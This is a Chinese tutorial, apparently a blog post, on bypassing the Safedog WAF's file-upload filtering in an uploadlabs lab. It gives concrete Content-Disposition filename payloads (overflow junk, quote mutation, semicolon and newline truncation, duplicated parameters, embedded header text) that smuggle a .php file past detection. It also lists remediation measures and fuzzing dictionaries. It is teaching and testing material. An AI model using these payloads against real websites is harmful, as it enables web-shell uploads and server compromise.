思维导图

知识补充

上传参数名解析:明确哪些东西能修改?
Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件 MIME,视情况更改
常见绕过方法:
防匹配:让检测机制,找不到关键字 (php asp aspx 等)
数据溢出-防匹配(xxx…)
符号变异-防匹配(’ " ;)
数据截断-防匹配( /; 换行)
重复数据-防匹配(参数多次)
Payload:
大量垃圾数据缓冲溢出(Content-Disposition,filename 等)
filename=x.php
filename="x.php
filename='x.php
filename=“a.jpg;.php”;
filename=“Content-Disposition: form-data; name=“upload_file”;x.php”
filename=“x.jpg”;filename=“x.jpg”;…filename=“x.php”;
filename=“xxx/x.php”
filename=
"
x
.
p
h
p
"
文件上传安全修复方案
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等
演示案例
上传数据包参数对应修改测试
Safedog+云服务器+uploadlabs 测试
数据溢出-防匹配(xxx…)
防匹配:让检测机制,找不到关键字 (php asp aspx 等)



Content-Disposition: form-data;大量垃圾数据 ; name=“upload_file” ; 大量垃圾数据 ; filename=" xxxx"
符号变异-防匹配(’ " ;)
Content-Disposition: form-data;
参数名 :值 ;(分号代表语句结束)
name=“upload_file” ;
safedog匹配文件名的原则,应该是在“xxxx” ‘xxxx’ 双引号或单引号之间的


双引号在后面的时候,被安全狗拦截,说明匹配的是后面的双引号,(或者单引号),之前的文件名!



数据截断-防匹配( ; 换行)
分号;截断,安全狗只匹配到X.jpg;没有匹配到php就结束,但是数据包又把双引号中的当做文件名。
X.jpg;.php



换行后,安全狗匹配的就是 x.p\nph\np
x.\np\nph\np
x\n.\np\nph\np
\nx\n.\np\nph\np
等都可以

(类似于把数据分开传输)
重复数据-防匹配(参数多次)
把匹配的数据多次重复(写多一点)


白名单概念 过滤filename中的值,就把数据包的一些数据名称(白名单概念)插入到其中
Content-Disposition: form-data;
name=“upload_file” ;
filename=" Content-Disposition: form-data; name=“upload_file” x.php"

filename=" Content-Disposition: form-data; name=“upload_file” ; x.php" 冒号去掉 也可以



filename=" Content-Disposition: form-data; name=“upload_file” ; x.php"
Content-Disposition: form-data; name=“upload_file” ; x.php
安全狗认为:x.php跟在了之前的Content-Disposition: form-data; name="upload_file"的后面
而不是filename的值,但是在数据包中x.php确实在“xxxxx” 双引号之间


Safedog+云服务器+uploadlabs_fuzz 测试


字典很重要,有个好字典,成功的可能更大!
文件上传安全修复方案-函数自定义及 WAF
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等
涉及资源:
字典
https://github.com/fuzzdb-project/fuzzdb
名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等
涉及资源:
字典
https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
本文探讨了文件上传安全的相关问题,包括Content-Disposition、filename和Content-Type的修改来绕过防御机制。提到了数据溢出、符号变异、数据截断和重复数据等方法。同时,提出了安全修复方案,如后端验证、后缀和MIME检测、内容检测以及自定义函数过滤。还介绍了WAF防护产品,并给出了测试案例和字典资源。
2万+

被折叠的 条评论
为什么被折叠?



